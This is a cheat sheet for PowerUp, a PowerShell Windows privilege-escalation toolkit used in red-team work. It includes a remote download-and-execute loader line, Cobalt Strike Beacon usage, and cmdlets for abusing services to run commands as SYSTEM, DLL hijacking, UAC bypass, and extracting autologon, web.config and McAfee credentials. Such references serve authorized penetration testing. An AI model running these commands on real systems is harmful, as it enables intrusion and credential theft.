PowerUp Cheat Sheet

SPECTER OPS

Getting Started

Note: PowerUp's 'bleeding edge' will always in be the development branch of PowerSploit.

Get PowerUp: http://bit.ly/1PdjSHk

Load from disk: 1) **C:\> powershell –exec bypass** 2) **PS C:\> Import-Module PowerUp.ps1**

Load from GitHub: **PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://bit.ly/1PdjSHk")**

Load in Cobalt Strike's Beacon: **beacon> powershell-import /local/path/to/PowerUp.ps1** , then **beacon> powershell Invoke-AllChecks**

Getting help: PS C:\> **Get-Help Cmdlet-Name [-detailed] [-full]**

Most PowerUp functions are implemented in Empire in **privesc/powerup/***

Invoke-PrivescAudit (old Invoke-AllChecks) will run all current privilege escalation checks detailed in this guide and will output the appropriate abuse function syntax for anything found. The **–HTMLReport** flag will write out a HTML version of the report to SYSTEM.username.html.

Enumerating Service Vulnerabilities

Get-ModifiableService	Enumerates all services where the current user can modify the service binPath.
Get-ModifiableServiceFile	Enumerates all services where the current user can write to the associated service binary or its arguments.
Get-ServiceUnquoted	Enumerates all services w/ unquoted binary paths.

Weaponizing Service Vulnerabilities

Invoke-ServiceAbuse abuses a vulnerable service's binPath to execute commands as SYSTEM.

Install-ServiceBinary installs a malicious C# binary for a specified service.

Both cmdlets accept the following parameters (as well as accepting a service names/service object from Get-Service on the pipeline):

Service name to abuse.	**-Name SERVICE**
The username to add (defaults to 'john'). Domain users are not created, only added to the LocalGroup.	**-UserName '[DOMAIN\]USER'**
The password for the added user (defaults to 'Password123!').	**-Password 'P@55Word'**
The group to add the user to (default: 'Administrators').	**-LocalGroup "NAME"**
Custom command to execute.	**-Command "net…"**

Install-ServiceBinary backs up the original service path to \orig_path.exe.bak. **Restore-ServiceBinary** will restore this backup binary to its original path.

Set-ServiceBinPath can set a service's binPath without caling sc.exe.

DLL Hijacking

Find-PathDLLHijack checks if the current %PATH% has any directories that are writeable by the current user. Weaponizable for Windows 7 with **Write-HijackDll** and 'FOLDER\PATH\wlbsctrl.dll'.

Write-HijackDll writes out a self-deleting .bat file to \hijackpath\debug.bat that executes a command, and writes out a hijackable DLL that launches the .bat. It accepts the same -UserName/-Password/-Command arguments as **Invoke-ServiceAbuse** as well as:

Path to write the hijack DLL	**-DllPath PATH\wlbsctrl.dll**
Manual arch specification.	**-Architecture [x64/x86]**
Path of the .bat for the hijackable .dll to run.	**-BatPath PATH\y.bat**

Registry Checks

Get-RegistryAlwaysInstallElevated	Checks if the "AlwaysInstallElevated" key is set. This means that MSI installation packages always run as SYSTEM.
Get-RegistryAutoLogon	Returns any autologon credentials from various registry locations.
Get-ModifiableRegistryAutoRun	Returns autoruns where the current user can modify the binary/script (or its config).

Miscellaneous Checks

Get-UnattendedInstallFile	Checks for leftover unattend.xml files.
Get-Webconfig	Recovers cleartext and encrypted connection strings from all web.configs. Credit to Scott Sutherland.
Get-ProcessTokenPrivilege	Returns all privileges for the current (or specified) process.
Get-SiteListPassword	Searches for any McAfee SiteList.xml files and decrypts the contents.

Helpers

Enable-Privilege	Enables a specific privilege for the current process. Available privileges can be found with Get-ProcessTokenPrivilege.
Get-CurrentUserTokenGroupSid	Returns all SIDs that the current user is a part of even if the SID is disabled.
Invoke-EventVwrBypass	Bypasses UAC by performing an image hijack on the .msc file extension.

More Information

http://www.harmj0y.net/blog/